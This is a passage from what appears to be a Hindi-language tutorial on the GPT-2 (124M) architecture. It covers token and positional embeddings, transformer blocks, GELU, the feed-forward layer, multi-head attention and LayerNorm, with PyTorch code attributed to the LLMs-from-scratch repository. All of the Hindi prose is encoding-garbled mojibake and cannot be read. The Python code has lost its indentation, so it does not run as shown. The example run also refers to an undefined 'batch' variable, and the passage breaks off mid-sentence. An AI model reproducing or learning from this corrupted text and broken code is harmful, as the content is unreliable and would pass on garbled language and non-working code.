- -1. **Input (Tokenized Text)**: рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЯреЛрдХрдирдпреБрдХреНрдд рдкрд╛рда рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -2. **Token Embedding and Positional Embedding Layer**: рдЯреЛрдХрдирдпреБрдХреНрдд рдкрд╛рда рдХреЛ **рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧ** рдкрд░рдд рдФрд░ **рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдкрд░рдд** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╢рдмреНрдж рдХреНрд░рдо рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред -3. **Transformer Blocks**: рдореЙрдбрд▓ рдореЗрдВ **12 рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХреНрд╕** рд╣реЛрддреЗ рд╣реИрдВ, рдкреНрд░рддреНрдпреЗрдХ рдореЗрдВ рдХрдИ рдкрд░рддреЗрдВ рд╣реЛрддреА рд╣реИрдВред рдпреЗ рдмреНрд▓реЙрдХреНрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрдХреНрд░рдо рдХреЛ рджреЛрд╣рд░рд╛рддреЗ рд╣реИрдВ: -- **Masked Multi-Head Attention**: рдореЙрдбрд▓ рдХреЛ рдПрдХ рдмрд╛рд░ рдореЗрдВ рдЗрдирдкреБрдЯ рдкрд╛рда рдХреЗ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- **Layer Normalization**: рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЛ рд╕реНрдерд┐рд░ рдФрд░ рд╕реБрдзрд╛рд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рдХрджрдоред -- **Feed Forward Layer**: рдзреНрдпрд╛рди рдкрд░рдд рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЕрдЧрд▓реЗ рдЯреЛрдХрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ред -- **Dropout Layers**: рдпреЗ рдкрд░рддреЗрдВ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд░реВрдк рд╕реЗ рдЗрдХрд╛рдЗрдпреЛрдВ рдХреЛ рдЫреЛрдбрд╝рдХрд░ рдУрд╡рд░рдлрд┐рдЯрд┐рдВрдЧ рдХреЛ рд░реЛрдХрддреА рд╣реИрдВред -4. **Final Output Layer**: рдореЙрдбрд▓ рдПрдХ **4x50,257-рдЖрдпрд╛рдореА рдЯреЗрдиреНрд╕рд░** рдЖрдЙрдЯрдкреБрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ **50,257** рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рдЖрдХрд╛рд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдЯреЗрдиреНрд╕рд░ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдкрдВрдХреНрддрд┐ рдПрдХ рд╡реЗрдХреНрдЯрд░ рдХреЗ рдЕрдиреБрд░реВрдк рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдореЙрдбрд▓ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдЕрдЧрд▓реЗ рд╢рдмреНрдж рдХреА рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред -5. **Goal**: рдЙрджреНрджреЗрд╢реНрдп рдЗрди рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЛ рд▓реЗрдирд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕реЗ рдкрд╛рда рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдирд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЕрдВрддрд┐рдо рдкрдВрдХреНрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдЧрд▓реЗ рд╢рдмреНрдж рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрд╕ рдЖрд░реЗрдЦ рдореЗрдВ "рдЖрдЧреЗ" рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред - -### Code representation -```python -import torch -import torch.nn as nn -import tiktoken - -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) - -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -return self.layers(x) - -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert d_out % num_heads == 0, "d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - -def forward(self, x): -b, num_tokens, d_in = x.shape - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"]) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# Shortcut connection for attention block -shortcut = x -x = self.norm1(x) -x = self.att(x) # Shape [batch_size, num_tokens, emb_size] -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -# Shortcut connection for feed forward block -shortcut = x -x = self.norm2(x) -x = self.ff(x) -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -return x - - -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear( -cfg["emb_dim"], cfg["vocab_size"], bias=False -) - -def forward(self, in_idx): -batch_size, seq_len = in_idx.shape -tok_embeds = self.tok_emb(in_idx) -pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) -x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] -x = self.drop_emb(x) -x = self.trf_blocks(x) -x = self.final_norm(x) -logits = self.out_head(x) -return logits - -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -out = model(batch) -print("Input batch:\n", batch) -print("\nOutput shape:", out.shape) -print(out) -``` -### **GELU рд╕рдХреНрд░рд┐рдпрдг рдлрд╝рдВрдХреНрд╢рди** -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) -``` -#### **рдЙрджреНрджреЗрд╢реНрдп рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** - -- **GELU (Gaussian Error Linear Unit):** рдПрдХ рд╕рдХреНрд░рд┐рдпрдг рдлрд╝рдВрдХреНрд╢рди рдЬреЛ рдореЙрдбрд▓ рдореЗрдВ рдЧреИрд░-рд░реЗрдЦреАрдпрддрд╛ рдХреЛ рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИред -- **рд╕реНрдореВрдж рд╕рдХреНрд░рд┐рдпрдг:** ReLU рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЬреЛ рдирдХрд╛рд░рд╛рддреНрдордХ рдЗрдирдкреБрдЯ рдХреЛ рд╢реВрдиреНрдп рдХрд░ рджреЗрддрд╛ рд╣реИ, GELU рдЗрдирдкреБрдЯ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рд╕реНрдореВрдж рддрд░реАрдХреЗ рд╕реЗ рдореИрдк рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдирдХрд╛рд░рд╛рддреНрдордХ рдЗрдирдкреБрдЯ рдХреЗ рд▓рд┐рдП рдЫреЛрдЯреЗ, рдЧреИрд░-рд╢реВрдиреНрдп рдорд╛рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред -- **рдЧрдгрд┐рддреАрдп рдкрд░рд┐рднрд╛рд╖рд╛:** - -
- -> [!NOTE] -> FeedForward рд▓реЗрдпрд░ рдХреЗ рдЕрдВрджрд░ рд░реЗрдЦреАрдп рдкрд░рддреЛрдВ рдХреЗ рдмрд╛рдж рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░реЗрдЦреАрдп рдбреЗрдЯрд╛ рдХреЛ рдЧреИрд░-рд░реЗрдЦреАрдп рдореЗрдВ рдмрджрд▓рдирд╛ рд╣реИ рддрд╛рдХрд┐ рдореЙрдбрд▓ рдЬрдЯрд┐рд▓, рдЧреИрд░-рд░реЗрдЦреАрдп рд╕рдВрдмрдВрдзреЛрдВ рдХреЛ рд╕реАрдЦ рд╕рдХреЗред - -### **FeedForward рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ** - -_рдЖрдХреГрддрд┐рдпреЛрдВ рдХреЛ рдореИрдЯреНрд░рд┐рд╕ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдмреЗрд╣рддрд░ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim) -return x # Output shape: (batch_size, seq_len, emb_dim) -``` -#### **рдЙрджреНрджреЗрд╢реНрдп рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** - -- **рдкреЛрдЬреАрд╢рди-рд╡рд╛рдЗрдЬ рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдиреЗрдЯрд╡рд░реНрдХ:** рдкреНрд░рддреНрдпреЗрдХ рдкреЛрдЬреАрд╢рди рдкрд░ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдФрд░ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рджреЛ-рдкрд░рддреЛрдВ рд╡рд╛рд▓рд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЬреБрдбрд╝реЗ рдиреЗрдЯрд╡рд░реНрдХ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред -- **рдкрд░рдд рд╡рд┐рд╡рд░рдг:** -- **рдкрд╣рд▓реА рд░реИрдЦрд┐рдХ рдкрд░рдд:** `emb_dim` рд╕реЗ `4 * emb_dim` рддрдХ рдЖрдпрд╛рдо рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рддрд╛ рд╣реИред -- **GELU рд╕рдХреНрд░рд┐рдпрдг:** рдЧреИрд░-рд░реЗрдЦреАрдпрддрд╛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред -- **рджреВрд╕рд░реА рд░реИрдЦрд┐рдХ рдкрд░рдд:** рдЖрдпрд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ `emb_dim` рдкрд░ рдХрдо рдХрд░рддрд╛ рд╣реИред - -> [!NOTE] -> рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдлреАрдб рдлреЙрд░рд╡рд░реНрдб рдиреЗрдЯрд╡рд░реНрдХ 3 рдкрд░рддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдкрд╣рд▓реА рдПрдХ рд░реИрдЦрд┐рдХ рдкрд░рдд рд╣реИ рдЬреЛ рд░реИрдЦрд┐рдХ рд╡рдЬрди (рдореЙрдбрд▓ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдпрд╛рдореЛрдВ рдХреЛ 4 рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдЧреАред рдлрд┐рд░, GELU рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рд╕рднреА рдЖрдпрд╛рдореЛрдВ рдореЗрдВ рдЧреИрд░-рд░реЗрдЦреАрдп рднрд┐рдиреНрдирддрд╛рдУрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рдореГрджреНрдз рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЕрдВрддрддрдГ рдПрдХ рдФрд░ рд░реИрдЦрд┐рдХ рдкрд░рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдореВрд▓ рдЖрдпрд╛рдо рдХреЗ рдЖрдХрд╛рд░ рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - -### **рдорд▓реНрдЯреА-рд╣реЗрдб рдзреНрдпрд╛рди рддрдВрддреНрд░** - -рдпрд╣ рдкрд╣рд▓реЗ рдХреЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдкрд╣рд▓реЗ рд╣реА рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред - -#### **рдЙрджреНрджреЗрд╢реНрдп рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** - -- **рдорд▓реНрдЯреА-рд╣реЗрдб рд╕реЗрд▓реНрдл-рдЕрдЯреЗрдВрд╢рди:** рдореЙрдбрд▓ рдХреЛ рдЯреЛрдХрди рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░рддреЗ рд╕рдордп рдЗрдирдкреБрдЯ рдЕрдиреБрдХреНрд░рдо рдХреЗ рднреАрддрд░ рд╡рд┐рднрд┐рдиреНрди рдкреЛрдЬреАрд╢рдиреЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- **рдореБрдЦреНрдп рдШрдЯрдХ:** -- **рдХреНрд╡реЗрд░реА, рдХреАрдЬрд╝, рд╡реИрд▓реНрдпреВрдЬрд╝:** рдЗрдирдкреБрдЯ рдХреЗ рд░реИрдЦрд┐рдХ рдкреНрд░рдХреНрд╖рд┐рдкреНрддрд┐рдпрд╛рдБ, рдЬреЛ рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХреА рдЧрдгрдирд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВред -- **рд╣реЗрдбреНрд╕:** рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдХрдИ рдзреНрдпрд╛рди рддрдВрддреНрд░ (`num_heads`), рдкреНрд░рддреНрдпреЗрдХ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдо рдЖрдпрд╛рдо (`head_dim`)ред -- **рдзреНрдпрд╛рди рд╕реНрдХреЛрд░:** рдХреНрд╡реЗрд░реА рдФрд░ рдХреАрдЬрд╝ рдХреЗ рдбреЙрдЯ рдЙрддреНрдкрд╛рдж рдХреЗ рд░реВрдк рдореЗрдВ рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ, рд╕реНрдХреЗрд▓ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдорд╛рд╕реНрдХ рдХреА рдЬрд╛рддреА рд╣реИред -- **рдорд╛рд╕реНрдХрд┐рдВрдЧ:** рднрд╡рд┐рд╖реНрдп рдХреЗ рдЯреЛрдХрдиреЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рд░рдгрд╛рддреНрдордХ рдорд╛рд╕реНрдХ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (GPT рдЬреИрд╕реЗ рдСрдЯреЛрд░рд┐рдЧреНрд░реЗрд╕рд┐рд╡ рдореЙрдбрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг)ред -- **рдзреНрдпрд╛рди рд╡рдЬрди:** рдорд╛рд╕реНрдХ рдХрд┐рдП рдЧрдП рдФрд░ рд╕реНрдХреЗрд▓ рдХрд┐рдП рдЧрдП рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХрд╛ рд╕реЙрдлреНрдЯрдореИрдХреНрд╕ред -- **рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░:** рдзреНрдпрд╛рди рд╡рдЬрди рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдорд╛рдиреЛрдВ рдХрд╛ рднрд╛рд░рд┐рдд рдпреЛрдЧред -- **рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рдХреНрд╖рд┐рдкреНрддрд┐:** рд╕рднреА рд╣реЗрдбреНрд╕ рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░реИрдЦрд┐рдХ рдкрд░рддред - -> [!NOTE] -> рдЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рд▓рдХреНрд╖реНрдп рдПрдХ рд╣реА рд╕рдВрджрд░реНрдн рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдмрдВрдзреЛрдВ рдХреЛ рдЦреЛрдЬрдирд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЯреЛрдХрдиреЛрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рд╣реЗрдбреНрд╕ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдУрд╡рд░рдлрд┐рдЯрд┐рдВрдЧ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд╣реЗрдб рдореЗрдВ рдкрд╛рдП рдЧрдП рдЕрдВрддрд┐рдо рд╕рдВрдмрдВрдзреЛрдВ рдХреЛ рдЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЕрдВрдд рдореЗрдВ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -> -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдПрдХ **рдХрд╛рд░рдгрд╛рддреНрдордХ рдорд╛рд╕реНрдХ** рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдмрд╛рдж рдХреЗ рдЯреЛрдХрдиреЛрдВ рдХреЛ рдПрдХ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрдмрдВрдзреЛрдВ рдХреЛ рджреЗрдЦрддреЗ рд╕рдордп рдзреНрдпрд╛рди рдореЗрдВ рдирд╣реАрдВ рд▓рд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рдХреБрдЫ **рдбреНрд░реЙрдкрдЖрдЙрдЯ** рднреА рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ **рдУрд╡рд░рдлрд┐рдЯрд┐рдВрдЧ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ**ред - -### **рдкрд░рдд** рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 # Prevent division by zero during normalization. -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift -``` -#### **рдЙрджреНрджреЗрд╢реНрдп рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** - -- **рд▓реЗрдпрд░ рдиреЙрд░реНрдорд▓рд╛рдЗрдЬреЗрд╢рди:** рдПрдХ рддрдХрдиреАрдХ рдЬреЛ рдмреИрдЪ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ (рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдо) рдХреЗ рдмреАрдЪ рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред -- **рдШрдЯрдХ:** -- **`eps`:** рдПрдХ рдЫреЛрдЯрд╛ рд╕реНрдерд┐рд░рд╛рдВрдХ (`1e-5`) рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рд╢реВрдиреНрдп рд╕реЗ рд╡рд┐рднрд╛рдЬрди рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрд░рд┐рдПрдВрд╕ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред -- **`scale` рдФрд░ `shift`:** рд╕реАрдЦрдиреЗ рдпреЛрдЧреНрдп рдкреИрд░рд╛рдореАрдЯрд░ (`nn.Parameter`) рдЬреЛ рдореЙрдбрд▓ рдХреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рд╕реНрдХреЗрд▓ рдФрд░ рд╢рд┐рдлреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдХреНрд░рдорд╢рдГ рдПрдХ рдФрд░ рд╢реВрдиреНрдп рдкрд░ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛:** -- **рдореАрди рдХреА рдЧрдгрдирд╛ (`mean`):** рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдо (`dim=-1`) рдХреЗ рдмреАрдЪ рдЗрдирдкреБрдЯ `x` рдХрд╛ рдореАрди рдирд┐рдХрд╛рд▓рддрд╛ 